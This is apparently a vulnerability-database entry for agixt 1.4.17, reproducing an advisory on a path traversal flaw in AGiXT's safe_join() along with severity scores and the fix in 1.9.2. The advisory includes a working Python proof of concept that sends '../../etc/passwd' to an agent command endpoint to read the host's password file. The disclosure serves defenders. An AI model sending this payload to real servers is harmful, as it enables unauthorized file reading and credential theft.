Lookup for vulnerable packages by Package URL.

Purlpkg:pypi/agixt@1.4.17
Typepypi
Namespace
Nameagixt
Version1.4.17
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version1.9.2
Latest_non_vulnerable_version1.9.2
Affected_by_vulnerabilities
0
url VCID-bkya-sa7r-sbf3
vulnerability_id VCID-bkya-sa7r-sbf3
summary
AGiXT Vulnerable to Path Traversal in safe_join()
### Summary
The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.

### Details
`agixt/endpoints/Extension.py:165` (source) -> `agixt/XT.py:1035` (hop) -> `agixt/extensions/essential_abilities.py:436` (sink)

```python
# source
command_args = command.command_args

# hop
response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)

# sink
new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split("/")))
```
### PoC
 
```python
# tested on: agixt<=1.9.1
# install: pip install agixt==1.9.1
 
import requests
 
BASE = "http://localhost:7437"
TOKEN = "<your_api_key>"
 
headers = {"Authorization": f"Bearer {TOKEN}"}
 
payload = {
    "command_name": "read_file",
    "command_args": {
        "filename": "../../etc/passwd"
    }
}
 
r = requests.post(f"{BASE}/api/agent/MyAgent/command", json=payload, headers=headers)
print(r.text)
# expected output: root:x:0:0:root:/root:/bin/bash ...
```
 
### Impact
 
Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-39981
reference_id
reference_type
scores
0
value 0.00051
scoring_system epss
scoring_elements 0.16491
published_at 2026-06-06T12:55:00Z
1
value 0.00051
scoring_system epss
scoring_elements 0.16384
published_at 2026-06-09T12:55:00Z
2
value 0.00051
scoring_system epss
scoring_elements 0.16368
published_at 2026-06-08T12:55:00Z
3
value 0.00051
scoring_system epss
scoring_elements 0.16449
published_at 2026-06-07T12:55:00Z
4
value 0.00051
scoring_system epss
scoring_elements 0.16494
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-39981
1
reference_url https://github.com/Josh-XT/AGiXT
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/Josh-XT/AGiXT
2
reference_url https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-13T20:10:01Z/
url https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f
3
reference_url https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-13T20:10:01Z/
url https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2
4
reference_url https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-13T20:10:01Z/
url https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-39981
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-39981
6
reference_url https://github.com/advisories/GHSA-5gfj-64gh-mgmw
reference_id GHSA-5gfj-64gh-mgmw
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-5gfj-64gh-mgmw
fixed_packages
0
url pkg:pypi/agixt@1.9.2
purl pkg:pypi/agixt@1.9.2
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/agixt@1.9.2
aliases CVE-2026-39981, GHSA-5gfj-64gh-mgmw
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-bkya-sa7r-sbf3
Fixing_vulnerabilities
Risk_score4.0
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:pypi/agixt@1.4.17